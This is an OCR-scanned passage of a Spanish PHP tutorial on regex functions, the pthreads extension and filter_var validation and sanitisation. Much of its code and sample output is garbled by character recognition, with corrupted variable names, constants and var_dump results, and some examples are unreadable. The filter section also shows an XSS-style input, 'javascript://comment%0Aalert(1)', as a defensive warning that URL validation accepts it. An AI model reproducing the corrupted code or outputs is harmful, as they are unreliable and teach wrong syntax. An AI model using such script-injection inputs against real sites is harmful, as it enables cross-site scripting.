Sstring = "0| PHP 1] E€SS 2] HTML 3] AJAX 4|| JSON"; 


//[0-9]: Any single character in the range 0 to 9 


ES : One or more of 0 to 9 

Sarray = preg_ split("/[0-91+N[/", $string, -1, PREG SPLIT NO. EMPTY); 
//OxX 

IO. | Crermaceez class 

IN NES Bs laigalie 

// +  : One or more of Any digit 


Sarray = preg_split("/[dl+F1/", S$string, =1, PREG_SPLIT NO EMPTY); 


Salida: 

AFCTAY 

( 
[0] => PHP 
[1] => CSS 
[2] => HTML 
[3] => AJAX 
[4] => JSON 


Para dividir una cadena en una matriz, simplemente pase la cadena y Una preg_split (); para 
preg_split (); para hacer coincidir y buscar, agregar un tercer parámetro ( 1imit ) le permite 
establecer el número de "coincidencias" que se realizarán, la cadena restante se agregará al final 
de la matriz. 


El cuarto parámetro es ( £1ags ) aquí usamos el prec_spP11T_NO_EmMPTY QUe evita que nuestra matriz 
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contenga cualquier clave / valor vacío. 


Cadena sustituyendo con expresión regular. 


Sstrlas = "apoye yace, 

// $1, $2 and $3 represent the first, second and third capturing groups 

cho preg_replace("(*([%;1+4); (105314); (15;]1+)8)m", "53;$2;$1", $string); 
Salidas 

copa 

f;jesd 


Busca todo entre los puntos y comics e invierte el orden. 
Partido RegExp global 


Una coincidencia RegExp global se puede realizar utilizando preg_match_a11 . preg_match_a11 
devuelve todos los resultados coincidentes en la cadena de asunto (a diferencia de preg_match , 
que solo devuelve el primero). 


La función preg_match_a11 devuelve el número de coincidencias. Las smatches tercer parámetro 
Smatches Contendrán coincidencias en formato controlado por indicadores que se pueden dar en el 
cuarto parámetro. 


Si se le da una matriz, $matches contendrá la matriz en un formato similar que obtendría con 
preg_match , excepto QUe preg_matcn detiene en la primera coincidencia, donde preg_match_al1 
repite en la cadena hasta que la cadena se consume por completo y devuelve el resultado de 
cada iteración en una matriz multidimensional , cuyo formato puede ser controlado por la bandera 
en el cuarto argumento. 


El cuarto argumento, s$£1ags , controla la estructura de smatches array array. El modo 
predeterminado es prec_parTERN_ORDER Y los posibles indicadores son prec_seT_ORDER Y 


PREG_PATTERN_ORDER . 


El siguiente código demuestra el uso de preg_match_a11 : 


Ssubject = "alb c2d3e f4g"; 
$pattern Mle=al (10-91) le==21/% 5 
var_dump (preg_match_all ($pattern, $subject, $matches, PREG_SET_ORDER)); // int(3) 


var_dump ($matches); 
preg_match_all ($pattern, $subject, $matches); // the flag is PREG_PATTERN_ORDER by default 
var_dump ($matches); 


// And for reference, same regexp run through preg_match() 
preg_match ($pattern, $subject, $matches); 
var_dump ($matches); 


El primer var_dump de prec_seT_orDER da esta salida: 
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array (3) (1 


=> 
ABE) 
0]=> 
sezing (5) "als 
1]=> 


seais (a) WI 
) 


[1]=> 

array (2) ( 
0]=> 
serias (3) "eze 
1]=> 


sezlag (a) 2.4 
) 


[2]=> 

array (2) 1 
0]=> 
sea (S) WEA 
1]=> 


sie (1) aw 


Smatches tiene tres matrices anidadas. Cada matriz representa una coincidencia, que tiene el 


mismo formato que el resultado de retorno de preg_match . 


El segundo var_dump ( prec_parrT 


ERN_ORD 


Er ) da esta salida: 


array (2) 1 


[913> 

array(3) ( 
0]=> 
serias (3) "ala 
1]=> 
serilag (S) eze 
2]1=> 


seria (3) "Edo 
) 
[1]=> 

array (3) 
0]=> 
Seca (y Wap 
1]=> 
Sirio (1) WQu 
2]1=> 
Sicilias (1) Wa 


Cuando la misma expresión regular se ejecuta a través de preg_matcn , se devuelve la siguiente 


matriz: 


cuca (2) Al 


[0] => 
seciag (3) Vals" 
[1] => 


siestas (1) WI 
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Cadena reemplazar con devolución de llamada 


preg_replace_callbacx funciona enviando cada grupo de captura coincidente a la devolución de 
llamada definida y la reemplaza con el valor de retorno de la devolución de llamada. Esto nos 
permite reemplazar cadenas basadas en cualquier tipo de lógica. 


Ssubject = "He said 123abc, I said 456efg, then she said 789h13"; 
$regex = "/Mb(Xd+)IWw+/"; 


// This function replaces the matched entries conditionally 
// depending upon the first character of the capturing group 
function regex_replace ($matches) ( 

switch ($matches[1] [0]) ( 


case '7': 
Sreplacement = "<b>($matches[0]1)</b>"; 
break; 

default: 
$replacement = "<i>(S$matches[0])</1>"; 


) 


return $replacement; 


) 


Sreplaced_str = preg_replace_callback($regex, "regex_replace", $subject); 


Pon tia (replla ce dEsin) 
ff He said <i>123abc</i>, I said <i>456efg</1>, then she said <b>789%hi13</b> 


Lea Expresiones regulares (regexp / PCRE) en línea: 
https://riptutorial.com/es/php/topic/852/expresiones-regulares--regexp---pcre- 
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Capítulo 44: Extensión de roscado múltiple 


Observaciones 


Con pthreads V3 pthreads SOlo se puede cargar cuando se usa el «1i SAP, por lo que 
es una buena práctica mantener la directiva extension=pthreads.so ON php-cli.ini 
SOLAMENTE, si está utilizando PHP7 y Pthreads v3. 


Si está utilizando Wamp en Windows , debe configurar la extensión en php.ini : 
Abre php | php.ini y agrega: 
extension=php_pthreads.dll 


Con respecto a los usuarios de Linux , debe reemplazar .a11 por .so : 


xtension=pthreads.so 


Puede ejecutar este comando directamente para agregarlo a pnp.ini (cambie /etc/pnp. ini cOn su 
ruta personalizada) 


cho "extension=pthreads.so" >> /etc/php.ini 


Examples 


Empezando 


Para comenzar con subprocesos múltiples, necesitaría el pehreads-ext para php, que puede ser 
instalado por 


$ pecl install pthreads 


y añadiendo la entrada a pnp.ini . 
Un ejemplo simple: 


<?php 

// NOTE: Code uses PHP7 semantics. 

class MyThread extends Thread ( 
pk 


* (var string 


* Variable to contain the message to be displayed. 
E 


private $message; 


public function __construct (string $message) ( 


// Set the message value for this particular instance. 
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Sthis->message = $message; 


// The operations performed in this function is executed in the other thread. 


¡amos Fumerloja ma (0) 
echo $this->message; 


// Instantiate MyThread 

SmyThread = new MyThread ("Hello from an another thread!"); 

// Start the thread. Also it is always a good practice to join the thread explicitly. 
// Thread: :start() is used to initiate the thread, 


SmyThread->start (); 
// and Thread: :join() causes the context to wait for the thread to finish executing 


SmyThread->Join(); 


Uso de piscinas y trabajadores 


La agrupación proporciona una abstracción de mayor nivel de la funcionalidad de 
Worker, incluida la gestión de referencias en la forma requerida por pthreads. De: 
http://php.net/manual/en/class.pool.php 


Los grupos y los trabajadores proporcionan un mayor nivel de control y facilidad de creación de 
subprocesos múltiples 


<?php 

// This is the *Work* which would be ran by the worker. 

// The work which you'd want to do in your worker. 

// This class needs to extend the MIhreaded or MCollectable or XMThread class. 


class AwesomeWork extends Thread ( 
private SworkName; 


pk 
* (param string S$workName 
* The work name wich would be given to every work. 
es) 
public function __construct (string $workName) ( 
// The block of code in the constructor of your work, 
// would b xecuted when a work is submitted to your pool. 


Sthis->workName = $workName; 
printf("A new work was submitted with the name: Ssin", S$workName); 


¡aus Eumerioa cua) 
1 Minis Tolo or sore la, mas mera!) auto 
// would be called by your worker. 
// A11l the code in this method will be executed in another thread. 
SworkName = $this->workName; 
printf ("Work named %s starting...in", SworkName) |; 
printf ("New random number: $din", mt_rand()); 


// Create an empty worker for the sake of simplicity. 
class AwesomeWorker extends Worker ( 
¡mios Eumertoa ma (0) A 
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// You can put some code in here, which would be executed 


// before the Work's are started (the block of code in the run” 


// by the Worker. 
KE suo Es 


// Create a new Pool Instance. 

// The ctor of XPool accepts two parameters. 

// First: The maximum number of workers your pool can create. 
// Second: The name of worker class. 

$pool = new XPool(1, XAwesomeWorker::class); 


// You need to submit your jobs, rather the instance of 
// the objects (works) which extends the XIhreaded class. 
$pool->submit (new XAwesomeWork ("DeadlyWork")); 


$pool->submit (new XAwesomeWork ("FatalWork")); 


// We need to explicitly shutdown the pool, otherwise, 
// unexpected things may happen. 

// See: http://stackoverflow.com/a/23600861/23602185 
$pool->shutdown (); 


method of your Work) 


Lea Extensión de roscado múltiple en línea: https://riptutorial.com/es/php/topic/1583/extension-de- 


roscado-multiple 
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Capítulo 45: Filtros y funciones de filtro 


Introducción 


Esta extensión filtra los datos mediante la validación o la desinfección. Esto es especialmente útil 
cuando la fuente de datos contiene datos desconocidos (o extraños), como la entrada 
proporcionada por el usuario. Por ejemplo, estos datos pueden provenir de un formulario HTML. 


Sintaxis 


* filter_var mixto (variable $ variable [, int $ filtro = FILTER_DEFAULT [, $ opciones 
mezcladas]]) 


Parámetros 


Parámetro | Detalles 


Valor para filtrar. Tenga en cuenta que los valores escalares se convierten en 


variable k 4 
cadena internamente antes de filtrarlos. 


El ID del filtro a aplicar. La página de manual Tipos de filtros enumera los filtros 
disponibles. Si se omite, se utilizará FILTER_DEFAULT, que es equivalente a 
FILTER_UNSAFE_RAW. Esto dará lugar a que no se realice ningún filtrado de 
forma predeterminada. 


filtrar 


Matriz asociativa de opciones o disyunción bit a bit de banderas. Si el filtro 
acepta opciones, se pueden proporcionar indicadores en el campo 

opciones "indicadores" de la matriz. Para el filtro de "devolución de llamada", se debe 
pasar el tipo llamable. La devolución de llamada debe aceptar un argumento, el 
valor que se filtrará y devolver el valor después de filtrarlo / sanearlo. 


Examples 


Validar correo electrónico 
Al filtrar una dirección de correo electrónico, filter_var () devolverá los datos filtrados, en este 


caso la dirección de correo electrónico, o falso si no se puede encontrar una dirección de correo 
electrónico válida: 
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var_dump (filter_var('johntexample.com', FILTER _VALIDATE_EMAIL)); 
¡9 J Pp 


var_dump (filter_var('notValidEmail', FILTER_VALIDATE_EMAIL)); 
Resultados: 

string(16) "johntexample.com" 

bool (false) 


Esta función no valida los caracteres no latinos. El nombre de dominio internacionalizado se 
puede validar en su forma xn-- . 


Tenga en cuenta que no puede saber si la dirección de correo electrónico es correcta antes de 
enviarle un correo electrónico. Es posible que desee realizar algunas verificaciones adicionales, 
como verificar un registro MX, pero esto no es necesario. Si envía un correo electrónico de 
confirmación, no olvide eliminar las cuentas no utilizadas después de un breve período. 


Validar un valor es un entero 


Al filtrar un valor que debería ser un entero filter_var () devolverá los datos filtrados, en este 
caso el entero, o falso si el valor no es un entero. Los flotadores no son enteros: 


110", FILTER_VALIDATE_INT)); 
'al0', FILTER_VALIDATE_INT)); 
'10a', FILTER_VALIDATE_INT)) 


var_dump (filter_var 


var_dump (filter_var 


var_dump (filter_var 


Ú 


( ( 
( ( 
( (17 
var_dump(filter_var(' ', FILTER_VALIDATE_INT)); 
var_dump (filter_var('10.00', FILTER _VALIDATE_INT));5; 
( (17 
( ( 
( ( 


r 
'10,000', FILTER _VALIDATE_INT)); 
1-51, FILTER VALIDATE _INT)); 
147%, FILTER VALIDATE _INT)); 


var_dump (filter_var 


var_dump (filter_var 


var_dump (filter_var 


Resultados: 


int (10) 
bool (false 
bool 
bool 
bool 
bool (false 
ae (5) 
ae (171) 


) 
false) 
false) 
false) 

) 


( 
( 
( 
( 


Si está esperando solo dígitos, puede usar una expresión regular: 


if (is string($ GET['entry']) $s preg_match('+*"[0-9]+84'", $ GET['entry'])) 
// this is a digit (positive) integer 


else 
MERGE ESE Or e ci 


Si convierte este valor en un entero, no tiene que hacer esta comprobación y, por lo tanto, puede 
USar filter _var. 
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Validando un número entero cae en un rango 


Al validar que un entero cae dentro de un rango, la verificación incluye los límites mínimo y 
máximo: 


Soptions = array ( 
"options' => array ( 
'min_range' => 5, 
mer ema" => IO, 


5 


var_dump (filter_var 


5', FILTER _VALIDATE_INT, S$options) 
10', FILTER_VALIDATE_INT, $options 
18', FILTER VALIDATE_INT, Soptions) 
4', FILTER _VALIDATE_INT, S$options) 
ALLY S 

s 


y; 


, 


var_dump (filter_var 


filter var 


var_dump 


var_dump 


, FILTER_VALIDATE_INT, S$option 


var_dump (filter_var 1 
6", FILTER_VALIDATE_INT, S$option 


, 


( ) 
( ) 
( ) 
( ) 
( ) 
( ) 


( 
( 
( 
filter _var(' ; 
( ); 
( ) 


var_dump (filter_var 


Resultados: 


ae (5) 
int (10) 
int (8) 
l(false) 
false) 


false) 


boo 
bool 
bool 


E 
ill 
8 
( 
( 
( 
Validar una URL 


Al filtrar una URL, fi1ter_var () devolverá los datos filtrados, en este caso la URL, o false si no se 
puede encontrar una URL válida: 


URL: example .com 


var_dump (filter_var('example.com', FILTER_VALIDATE_URL)); 
var_dump (filter_var('example.com', FILTER_VALIDATE_ URL, FILTER_FLAG_SCHEME_REQUIRED)); 


( ( 
( ( 
var_dump (filter_var('example.com', FILTER _VALIDATE_ URL, FILTER_FLAG_HOST_REQUIRED)); 
( ( 
( ( 


"example.com', FILTER_ VALIDATE URL, FILTER_FLAG_PATH_REQUIRED)); 
"example.com', FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED)); 


var_dump (filter_var 


var_dump (filter_var 


Resultados: 


bool (false) 
bool (false) 
bool (false) 
DOOLA ) 

( ) 


bool 


false 
false 


URL: http: //example.com 


var_dump (filter_var('http://example.com', FILTER_VALIDATE_URL)); 
var_dump (filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED)); 


var_dump (filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_HOST_REQUIRED)); 
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var_dump (filter_var('http://exa 
var_dump (filter_var('http://exa 


Resultados: 


string(18) "http://example.com" 
string(18) "http://example.com" 
string(18) 

bool (false) 


bool (false) 


"http://example.com" 


URL: http: //www.example.com 


var_dump (filter_var('http://www. 
var_dump (filter_var('http://www. 
FILTER_FLAG_SCHEME_REQUIRED)); 
var_dump (filter_var('http://www. 
FILTER_FLAG_HOST_REQUIRED)); 
var_dump (filter_var('http://www. 
FILTER_FLAG_PATH_REQUIRED)); 
var_dump (filter_var('http://www. 
FILTER_FLAG_QUERY_REQUIRED)); 


Resultados: 


string(22) "http: //www.example. 
string(22) "http: //www.example. 
Sic] (22) 

bool (false) 


bool (false) 


"http://www.example. 


URL: http: //www.example.com/path/to/dir/ 


var_dump (filter_var 
var_dump (filter_var 
FILTER_FLAG_SCHEME 


pon UEREDIN: 
var_dump (filter_var 


( 
( 
R 
Ñ t 
FILTER_FLAG_HOST_REQUIRED)); 
( 
Q 
(5 


var_dump (filter_var('http://www. 
FILTER_FLAG_PATH_REQUIRED)); 
var_dump (filter_var('http://www. 


FILTER_FLAG_QUERY_REQUIRED)); 


Resultados: 
string(35) "http: //www.example. 
string(35) "http: //www.example. 
string(35) "http: //www.example. 
string(35) "http: //www.example. 


bool (false) 


ttp://www. 
tp: //www. 


tp: //www. 


mple.com', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRE 
mple.com', FILTER _VALIDATE_URL, FILTER_FLAG_QUERY_REQUIR 
example.com', FILTER_VALIDATE_URL)); 

example.com', FILTER_VALIDATE_URL, 

example.com', FILTER_VALIDATE_URL, 

example.com', FILTER_VALIDATE_URL, 

example.com', FILTER_VALIDATE_URL, 
com" 
com" 
com" 

example.com/path/to/dir/', FILTER_VALIDATE_URL)); 
example.com/path/to/dir/', FILTER_VALIDATE_URL, 
example.com/path/to/dir/', FILTER_VALIDATE_URL, 
example.com/path/to/dir/', FILTER_VALIDATE_URL, 
example.com/path/to/dir/', FILTER_VALIDATE_URL, 


com/path/to/dir/" 
com/path/to/dir/" 
com/path/to/dir/" 
com/path/to/dir/" 


URL: http: //www.example.com/path/to/dir/index.php 


https://riptutorial.com/es/nome 


ze! 


var_dump (filter_var 


[En 


ttp://ww.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL)); 


DATE_URL, 


[E 


var_dump (filter_var 
FILTER_FLAG_SCHEME_. 
var_dump (filter_var 


tp: //www.example.com/path/to/dir/index.php', FILTER_VAL 


( 

( 

R 

("http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL, 
FILTER_FLAG_HOST_REQUIRED)); 

( 

0 

( 


var_dump (filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL, 


FILTER_FLAG_PATH_RE 
var_dump (filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL, 
FILTER_FLAG_QUERY_REQUIRED)); 


Resultados: 


Sic izda] "http://ww.example.com/path/to/dir/index.php" 


(44 
string(44) "http://www.example.com/path/to/dir/index.php" 
string (44 


) 
) 
) "http://www.example.com/path/to/dir/index.php" 
) 


string (44 
bool (false) 


"http://ww.example.com/path/to/dir/index.php" 


URL: http: //ww.example.com/path/to/dir/index.php?test=y 


var_dump (filter_var('http://www.example.com/path/to/dir/index.php?test=y', 
FILTER_VALIDATE_URL)); 

var_dump (filter_var('http://www.example.com/path/to/dir/index.php?test=y', 
FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED)); 

var_dump (filter_var('http://www.example.com/path/to/dir/index.php?test=y', 
FILTER_VALIDATE_URL, FILTER_FLAG_HOST_REQUIRED)); 

var_dump (filter_var('http://www.example.com/path/to/dir/index.php?test=y', 
FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED)); 

var_dump (filter_var('http://www.example.com/path/to/dir/index.php?test=y', 
FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED)); 


Resultados: 


Si0 cala] "http://ww.example.com/path/to/dir/index.php?test=y" 


(51) 

string(51) "http://www.example.com/path/to/dir/index.php?test=y" 

string(51) "http://www.example.com/path/to/dir/index.php?test=y" 

string(51) "http://www.example.com/path/to/dir/index.php?test=y" 
(51) 


string "http://ww.example.com/path/to/dir/index.php?test=y" 


Advertencia : debe verificar el protocolo para protegerse contra un ataque XSS: 


var_dump (filter_var('jJavascript://comments0Aalert(1)', FILTER_VALIDATE_URL)); 
// string(31) "javascript://comment%0Aalert (1) " 


Desinfectar filtros 


Podemos usar filtros para desinfectar nuestra variable de acuerdo a nuestra necesidad. 


Ejemplo 

Sstring = "<p>Example</p>"; 

Snewstring = filter_var($string, FILTER_SANITIZE_STRING); 
var_dump ($newstring); // string(7) "Example" 
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Lo anterior eliminará las etiquetas html de la variable sstring . 


Validación de valores booleanos 


var_dump (filter_var(true, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // true 
false, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // false 
, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // true 
O 


FILTER _VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // false 


var_dump (filter_var 


var_dump (filter_var 


var_dump (filter_var 


dl 
0 


, pl 
var_dump (filter_var('1', FILTER _VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // true 
var_dump (filter_var('0', FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // false 
var_dump y 15 2 // False 
var_dump (filter_var(' ', FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // false 


U 6 
'true', FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // true 


var_dump (filter_var 


( ( 
( ( 
( ( 
( ( ; 
( ( ) 
( ( pl ) 
(filter _var('', FILTER VALIDATE BOOLEAN, FILTER_NULL_ ON_FAILURE)); 
( ( ) 
( ( U 
( ( 
( ( 
( ( 


var_dump (filter_var salar FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // false 
var_dump (filter_var o FIL A E BOOLEAN, FILTER_NULL_ON_FAILURE)); // NULL 
var_dump (filter_var(nul FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // false 
Validar un número es un flotador 
Valida el valor como flotante y se convierte en flotante en caso de éxito. 
var_dump(filter_var(1, FILTER_VALIDATE_FLOAT)); 

var_dump (filter_var(1.0, FILTER_VALIDATE_FLOAT)); 

o a 0000, FILTER_VALIDATE_FLOAT)); 

var_dump (filter_var(1.00001, FILTER_VALIDATE_FLOAT)); 

var_dump (filter_var('1', FILTER_VALIDATE_FLOAT)); 

var_dump (filter_var('1.0', FILTER_VALIDATE_FLOAT)); 

var_dump (filter_var('1.0000', FILTER_VALIDATE_FLOAT)); 

var_dump (filter_var('1.00001', FILTER _VALIDATE_FLOAT)); 

var_dump(filter_var('1,000', FILTER_VALIDATE_FLOAT)); 

var_dump (filter_var('1,000.0', FILTER _VALIDATE_FLOAT)); 

var_dump (filter_var('1,000.0000', FILTER_VALIDATE_FLOAT)); 

var_dump (filter_var('1,000.00001', FILTER VALIDATE _FLOAT)); 

var_dump(filter_var(1, FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); 

var_dump (filter_var(1.0, FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); 
e 0000, FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); 
var_dump (filter_var(1.00001, FILTER _VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); 
var_dump(filter_var('1', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); 

var_dump (filter_var('1.0', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); 
var_dump (filter_var('1.0000', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); 
var_dump (filter_var('1.00001', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); 
var_dump (filter_var('1,000', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); 
var_dump (filter_var('1,000.0', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); 
var_dump (filter_var('1,000.0000', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); 
var_dump (filter_var('1,000.00001', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); 


Resultados 
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loewe (UL) 
float (1.00001) 


bool (false) 
bool (false) 
bool (false) 
bool (false) 
float (1) 

locus (Cb) 

Lou (1) 

float (1.00001) 
float (1) 

locus (1) 

float (1) 

float (1.00001) 
float (1000) 
FLOG IL0dOn 
Lost (1000) 
float (1000.00001) 


Validar una dirección MAC 


Valida un valor es una dirección MAC válida 


var_dump (filter_var('FA-F9-DD-B2-5E-0D', FILTER_VALIDATE_MAC)); 
var_dump (filter_var('DC-BB-17-9A-CE-81', FILTER_VALIDATE_MAC)); 
var_dump (filter_var('96-D5-9E-67-40-AB', FILTER_VALIDATE_MAC)); 
var_dump (filter_var('96-D5-9E-67-40', FILTER_VALIDATE_MAC)); 

( ( 


var_dump (filter_var 


"1, FILTER VALIDATE _MAC)); 


Resultados: 

string(17) "FA-F9-DD-B2-5E-0D" 
strin o DEBE 1 IAS CES ie 
string (19D OSI E == 1 0=ZAB0 
bool (false) 

bool (false) 


Sanitze Direcciones de correo electrónico 


Elimine todos los caracteres excepto las letras, los dígitos y! + $% 8 '* + -=?2%* _ Y 


var_dump (filter_var('johntexample.com', FILTER_SANITIZE_EMAIL)); 
var_dump (filter_var("!f485£'*+-=2%_' (|)-.[]lexample.com", FILTER_SANITIZE_EMAIL)); 
var_dump (filter_var('john/fexample.com', FILTER_SANITIZE_EMAIL)); 
var_dump (filter_var('johnltexample.com', FILTER_SANITIZE_EMAIL)); 
var_dump(filter_var('joh ntexample.com', FILTER_SANITIZE_EMAIL)); 


Resultados: 
string(16) "johntexample.com" 
string(33) "!4$%58£'*+-=2?2"_' (|)-.[]fexample.com" 
string(16) "johntexample.com" 
string(16) "johntexample.com" 
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)= O. Il. 


Sitio (AS) 


'"5ohntexample.com" 


Desinfectar enteros 


Eliminar todos los caracteres, excepto los dígitos, el signo más y el signo menos. 


var_dump (fil 
var_dump (fi1 
var_dump (fil 
var_dump (fil 
var_dump (fil 
var_dump (fil 
var_dump (fi1 


var_dump (fil 
var_dump (fi1 
var_dump (fi1 
var_dump (fil 
var_dump (fi1 
var_dump (fil 
var_dump (£fi1 
var_dump (fil 


( 
( 
( 
( 
( 
( 
( 
var_dump (fil 
( 
( 
( 
( 
( 
( 
( 


1, FILTER_SANITIZE _NUMBER_INT) 


, ) 
-1, FILTER_SANITIZE NUMBER_INT) 
) 


ter_var 


ter_var 


+1, FILTER_SANITIZE NUMBER_IN 
1.00, FILTER_SANITIZE_NUMBER_IN 


ter_var 


ter_var 


( 

( 

( 

( , 
ter_var(+1.00, FILTER_SANITIZE_NUMBER_INT)); 
ter_var(-1.00, FILTER_SANITIZE_NUMBER_INT)); 
ter_var('1', FILTER_SANITIZE_NUMBER_INT)); 
ter_var('-1', FILTER_SANITIZE_NUMBER_INT)); 
ter_var('+1', FILTER_SANITIZE_NUMBER_INT)); 
ter_var('1.00', FILTER_SANITIZE_ NUMBER_INT)); 
ter var('+1.00', FILTER _SANITIZE NUMBER_INT)); 
tentar AO OE ERES ANTE REN OMB E RMN )A) e: 
ter_var('1l unicorn', FILTER_SANITIZE_NUMBER_INT)); 
ter_var('-1 unicorn', FILTER_SANITIZE NUMBER_INT)); 
ter_var('+1 unicorn', FILTER_SANITIZE NUMBER_INT)); 
ter_var ("! 4858 '*+-=2?%_' (|)-4.[]0123456789abcdefghizjklmnopgrstuvwxyz", 


FILTER_SANI 


Resultados: 


=]" 
=]" 
q1n 
100" 
+100" 
-100" 


IZE_NUMBER_INT)); 


e 


y pm e ta ne y e e ta n 2 En 1 
t t t t t t 


) Ú 


+4]" 


LASA SS 


Desinfectar URL 


URLs de Sanitze 


Elimine todos los caracteres excepto letras, dígitos y $ -_. +!1* '(), PH 1% -[] "<> +4%";/?7: 0 8 = 


var_dump (£f11 


lter_var('http://ww.example.com/path/to/dir/index.php?test=y', 


FILTER_SANI 
var_dump (£11 
Al 


var_dump (£11 


13 JUL) A 

lter_var ("http://www.example.com/path/to/dir/index.php?test=y!H$%£'*+- 
", FILTER SANITIZE_URL)); 
lter_var('http://ww.example.com/path/to/dir/index.php?test=a b c', 


FILTER_SANI 


IZE_URL)); 
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Resultados: 


Sezlmg (SL) 
Simao (12) 
sexziag (93) 


Desinfectar flotadores 


"http://ww.example.com/path/to/dir/index.php?test=y" 
"http: //www.example.com/path/to/dir/index.php?test=y!f$%8£'*+-=2%_' (])-. 
"http: //ww.example.com/path/to/dir/index.php?test=abc" 


Elimine todos los caracteres excepto los dígitos, + - y opcionalmente, eE. 


var_dump (£fi1 
var_dump (£fi1 
var_dump (fil 
var_dump (fi1 
var_dump (filt 
var_dump (filt 


( 
( 
( 
( 
( 
( 
(MESEAE 
( 
( 
( 
( 
( 
( 


var_dump 


var_dump (£fi1 
var_dump (£fi1 
var_dump (£i1 
var_dump (£fi1 
var_dump (£fi1 


var_dump (£fi1 


Resultados: 


A VI A AC IR A AI AA 


Con la opción rIiTeER_FLAG_A 


var_dump (£i1 
var_dump (£i1 
var_dump (£i1 
var_dump (£i1 


var_dump (filt 
var_dump (filt 


AEÓLd 
var_dump (£i1 
var_dump (£i1 
var_dump (£i1 
var_dump (£i1 
var_dump (£i1 


( 
( 
( 
( 
( 
( 
var_dump ( 
( 
( 
( 
( 
( 
( 


var_dump (£i1 


(51 
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ter_var(1, FILTER_SANITIZE_NUMBER_FLOAT)); 

ter_var(1.0, FILTER_SANITIZE_NUMBER_FLOAT)); 

ter_var(1.0000, FILTER_SANITIZE_NUMBER_EFLOAT)); 

ter_var(1.00001, FILTER_SANITIZE_NUMBER_FLOAT)); 

ter_var('1', FILTER_SANITIZE_NUMBER_FLOAT)); 

ter_var('1.0', FILTER_SANITIZE_NUMBER_FLOAT)); 

ter_var('1.0000', FILTER_SANITIZE_NUMBER_FLOAT)); 

ter_var('1.00001', FILTER_SANITIZE_NUMBER_FLOAT)); 

ter_var('1,000', FILTER_SANITIZE_NUMBER_FLOAT)); 

ter_var('1,000.0', FILTER_SANITIZE_NUMBER_FLOAT)); 

ter_var('1,000.0000', FILTER _SANITIZE NUMBER_FLOAT)); 

ter_var('1,000.00001', FILTER_SANITIZE_NUMBER_FLOAT)); 

ter_var('1.8281le-009', FILTER_SANITIZE_NUMBER_FLOAT)); 

" 

" 

po 

100001" 

119% 

10000" 

100001" 

1000" 

10000" 

10000000" 

100000001" 

SAS OO 

¡LOW_THOUSAND : 

ter_var(1, FILTER_SANITIZE NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); 
ter_var(1.0, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); 
ter_var(1.0000, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); 
ter var(1.00001, FILTER_SANITIZE_ NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); 
ter_var('1', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); 
ter_var('1.0', FILTER_SANITIZE_ NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); 
ter_var('1.0000', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); 
ter_var('1.00001', FILTER_SANITIZE_ NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); 
ter var('1,000', FILTER_SANITIZE NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); 
ter_var('1,000.0', FILTER_SANITIZE NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); 
ter_var('1,000.0000', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)) 
ter_var('1,000.00001', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND) 
ter_var('1.828le-009', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND) 


, 


y; 
) 
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Resultados: 


SS E a aa e e 
t t ar t 
RH 
Ea) 
“Q 


100001" 

O 

10000" 
100001" 

IO O 
1,0000" 
1,0000000" 
"1,00000001" 
ESAS OO 


Con la opción FILTER_FLAG_ALLOW_SCIENTIFIC : 


var_dump 
var_dump 
var_dump 
var_dump 
var_dump 


var_dump 
var_dump 
var_dump 
var_dump 
